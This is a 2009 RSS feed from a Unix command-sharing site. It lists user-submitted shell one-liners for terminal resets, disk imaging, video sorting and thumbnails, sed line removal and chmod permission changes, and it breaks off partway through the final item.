<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
  <channel>
    <title><![CDATA[All commands]]></title>
    <link>http://www.commandlinefu.com/commands/browse/rss</link>
    <description><![CDATA[A repository for the most elegant and useful UNIX commands.  Great commands can be shared, discussed and voted on to provide a comprehensive resource for working from the command-line]]></description>
    <pubDate>Tue, 10 Nov 2009 03:40:38 +0000</pubDate>
    <generator>Zend Framework Zend_Feed</generator>
    <language>en-us</language>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/Command-line-fu" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
      <title><![CDATA[Telnet to Free Internet Chess Server]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/xVuRK7iJZdY/telnet-to-free-internet-chess-server</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4024/telnet-to-free-internet-chess-server</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ telnet fics.freechess.org 5000&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4024/telnet-to-free-internet-chess-server"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/Jdub7"&gt;View all commands by &lt;strong&gt;Jdub7&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aCPjaUl4NJZg1jG8ut7H6kQc1yk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aCPjaUl4NJZg1jG8ut7H6kQc1yk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aCPjaUl4NJZg1jG8ut7H6kQc1yk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aCPjaUl4NJZg1jG8ut7H6kQc1yk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/xVuRK7iJZdY" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 21:44:19 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4024/telnet-to-free-internet-chess-server</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4024/telnet-to-free-internet-chess-server</feedburner:origLink></item>
    <item>
      <title><![CDATA[facebook]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/Q1ex0boSlTA/facebook</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4023/facebook</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ ping www.facebook.com&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4023/facebook"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/thuynnx"&gt;View all commands by &lt;strong&gt;thuynnx&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/l3v6uZJR1mWeleC8L06zEeZJXyY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/l3v6uZJR1mWeleC8L06zEeZJXyY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/l3v6uZJR1mWeleC8L06zEeZJXyY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/l3v6uZJR1mWeleC8L06zEeZJXyY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/Q1ex0boSlTA" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 20:26:50 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4023/facebook</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4023/facebook</feedburner:origLink></item>
    <item>
      <title><![CDATA[Sort movies by length, longest first]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/WUckWlAkdBw/sort-movies-by-length-longest-first</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4022/sort-movies-by-length-longest-first</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound &amp;quot;$i&amp;quot; 2&amp;gt;&amp;amp;1 | grep ID_LENGTH | cut -d= -f2)&amp;quot; &amp;quot;&amp;quot;$i&amp;quot; ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;handles file names with spaces and colons, fixes sort (numeric!), uses mplayer, same output format as other alternatives&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4022/sort-movies-by-length-longest-first"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/ZungBang"&gt;View all commands by &lt;strong&gt;ZungBang&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/3d2lUe5yP8GNYfijtwVEKiWzYk4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3d2lUe5yP8GNYfijtwVEKiWzYk4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/3d2lUe5yP8GNYfijtwVEKiWzYk4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3d2lUe5yP8GNYfijtwVEKiWzYk4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/WUckWlAkdBw" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 17:14:59 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4022/sort-movies-by-length-longest-first</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4022/sort-movies-by-length-longest-first</feedburner:origLink></item>
    <item>
      <title><![CDATA[Clean your broken terminal]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/yJx_7s28WTY/clean-your-broken-terminal</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4021/clean-your-broken-terminal</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ reset&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;If something fracks up your terminal, just type in 'reset' and everything should be good again.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4021/clean-your-broken-terminal"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/flart"&gt;View all commands by &lt;strong&gt;flart&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jucnpYQcavpk1l55A2BEH0GAcgg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jucnpYQcavpk1l55A2BEH0GAcgg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jucnpYQcavpk1l55A2BEH0GAcgg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jucnpYQcavpk1l55A2BEH0GAcgg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/yJx_7s28WTY" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 16:15:26 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4021/clean-your-broken-terminal</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4021/clean-your-broken-terminal</feedburner:origLink></item>
    <item>
      <title><![CDATA[Make an iso file out of your entire hard drive]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/QS2o-NAmmtE/make-an-iso-file-out-of-your-entire-hard-drive</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4020/make-an-iso-file-out-of-your-entire-hard-drive</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ dd if=/dev/hda of=file.img&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;Similar.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4020/make-an-iso-file-out-of-your-entire-hard-drive"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/yooreck"&gt;View all commands by &lt;strong&gt;yooreck&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/V6RpbG0-EiFXXAVozl-TLQJ3n-c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V6RpbG0-EiFXXAVozl-TLQJ3n-c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/V6RpbG0-EiFXXAVozl-TLQJ3n-c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V6RpbG0-EiFXXAVozl-TLQJ3n-c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/QS2o-NAmmtE" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 16:05:17 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4020/make-an-iso-file-out-of-your-entire-hard-drive</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4020/make-an-iso-file-out-of-your-entire-hard-drive</feedburner:origLink></item>
    <item>
      <title><![CDATA[Clean your broken terminal]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/hwMw1NcurUE/clean-your-broken-terminal</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4019/clean-your-broken-terminal</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ stty sane&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;When some console full-screen program (minicom, vi, some installers) breaks down your terminal, try this command to revert all options to "sane" settings (sane is a built-in combo of a lot of stty options)&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4019/clean-your-broken-terminal"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/darkpand"&gt;View all commands by &lt;strong&gt;darkpand&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/JUUV5RPMrVy1wDdtCEPcVPQfJiQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JUUV5RPMrVy1wDdtCEPcVPQfJiQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/JUUV5RPMrVy1wDdtCEPcVPQfJiQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JUUV5RPMrVy1wDdtCEPcVPQfJiQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/hwMw1NcurUE" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 15:58:06 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4019/clean-your-broken-terminal</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4019/clean-your-broken-terminal</feedburner:origLink></item>
    <item>
      <title><![CDATA[Make an iso file out of your entire hard drive]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/87cBQMrx13Y/make-an-iso-file-out-of-your-entire-hard-drive</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4018/make-an-iso-file-out-of-your-entire-hard-drive</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ cat /dev/hda &amp;gt; ~/hda.iso&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4018/make-an-iso-file-out-of-your-entire-hard-drive"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/mvrilo"&gt;View all commands by &lt;strong&gt;mvrilo&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jBJIpNNieukCt12wHXCkXPjhhd8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jBJIpNNieukCt12wHXCkXPjhhd8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jBJIpNNieukCt12wHXCkXPjhhd8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jBJIpNNieukCt12wHXCkXPjhhd8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/87cBQMrx13Y" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 15:44:53 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4018/make-an-iso-file-out-of-your-entire-hard-drive</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4018/make-an-iso-file-out-of-your-entire-hard-drive</feedburner:origLink></item>
    <item>
      <title><![CDATA[Sort movies by length, longest first]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/YMZY2Rh6Rx8/sort-movies-by-length-longest-first</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4017/sort-movies-by-length-longest-first</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ for i in *.avi; do echo -n &amp;quot;$i:&amp;quot;;mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;Similar but using mediainfo instead of totem-something&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4017/sort-movies-by-length-longest-first"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/yooreck"&gt;View all commands by &lt;strong&gt;yooreck&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/sXeaPv9rH9TiQlgSQPahiXox5pQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sXeaPv9rH9TiQlgSQPahiXox5pQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/sXeaPv9rH9TiQlgSQPahiXox5pQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sXeaPv9rH9TiQlgSQPahiXox5pQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/YMZY2Rh6Rx8" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 12:42:20 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4017/sort-movies-by-length-longest-first</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4017/sort-movies-by-length-longest-first</feedburner:origLink></item>
    <item>
      <title><![CDATA[Remove lines that contain a specific pattern($1) from file($2).]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/wPOo-T8yqdo/remove-lines-that-contain-a-specific-pattern1-from-file2.</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4016/remove-lines-that-contain-a-specific-pattern1-from-file2.</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ sed -i '/myexpression/d' /path/to/file.txt&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;The -i option in sed allows in-place editing of the input file.&lt;/p&gt;
&lt;p&gt;Replace myexpression with any regular expression.&lt;/p&gt;
&lt;p&gt;/expr/d syntax means if the expression matches then delete the line.&lt;/p&gt;
&lt;p&gt;You can reverse the functionality to keep matching lines only by using:&lt;/p&gt;
&lt;code&gt;sed -i -n '/myexpression/p' /path/to/file.txt&lt;/code&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4016/remove-lines-that-contain-a-specific-pattern1-from-file2."&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/jgc"&gt;View all commands by &lt;strong&gt;jgc&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ASi5-XGLVlJbyB_QOntlrOGQL5U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ASi5-XGLVlJbyB_QOntlrOGQL5U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ASi5-XGLVlJbyB_QOntlrOGQL5U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ASi5-XGLVlJbyB_QOntlrOGQL5U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/wPOo-T8yqdo" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 11:40:45 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4016/remove-lines-that-contain-a-specific-pattern1-from-file2.</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4016/remove-lines-that-contain-a-specific-pattern1-from-file2.</feedburner:origLink></item>
    <item>
      <title><![CDATA[Create a thumbnail from a video file]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/owEU2BsyFGU/create-a-thumbnail-from-a-video-file</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4015/create-a-thumbnail-from-a-video-file</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ thumbnail() { ffmpeg  -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4015/create-a-thumbnail-from-a-video-file"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/Nicolargo"&gt;View all commands by &lt;strong&gt;Nicolargo&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SglggK16ofDf1RzsvFWBc7xBYOI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SglggK16ofDf1RzsvFWBc7xBYOI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SglggK16ofDf1RzsvFWBc7xBYOI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SglggK16ofDf1RzsvFWBc7xBYOI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/owEU2BsyFGU" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 09:42:55 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4015/create-a-thumbnail-from-a-video-file</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4015/create-a-thumbnail-from-a-video-file</feedburner:origLink></item>
    <item>
      <title><![CDATA[Remove executable bit from all files in the current directory recursively, excluding other directories]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/V9CKq1fwUkc/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4014/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ chmod -R -x+X *&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;With GNU chmod at least it is that simple.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4014/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/CodSpirit"&gt;View all commands by &lt;strong&gt;CodSpirit&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AGtGW8m3iao5HkaiMdwqU3moV8k/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AGtGW8m3iao5HkaiMdwqU3moV8k/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AGtGW8m3iao5HkaiMdwqU3moV8k/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AGtGW8m3iao5HkaiMdwqU3moV8k/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/V9CKq1fwUkc" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 07:41:27 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4014/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4014/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</feedburner:origLink></item>
    <item>
      <title><![CDATA[Remove executable bit from all files in the current directory recursively, excluding other directories]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/ZALxFRofUw8/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4013/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ find . -type f | while read f; do chmod -x &amp;quot;$f&amp;quot;; done&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;I hate -exec with find, and this pattern quickly expands to other tasks.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4013/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/alesplin"&gt;View all commands by &lt;strong&gt;alesplin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
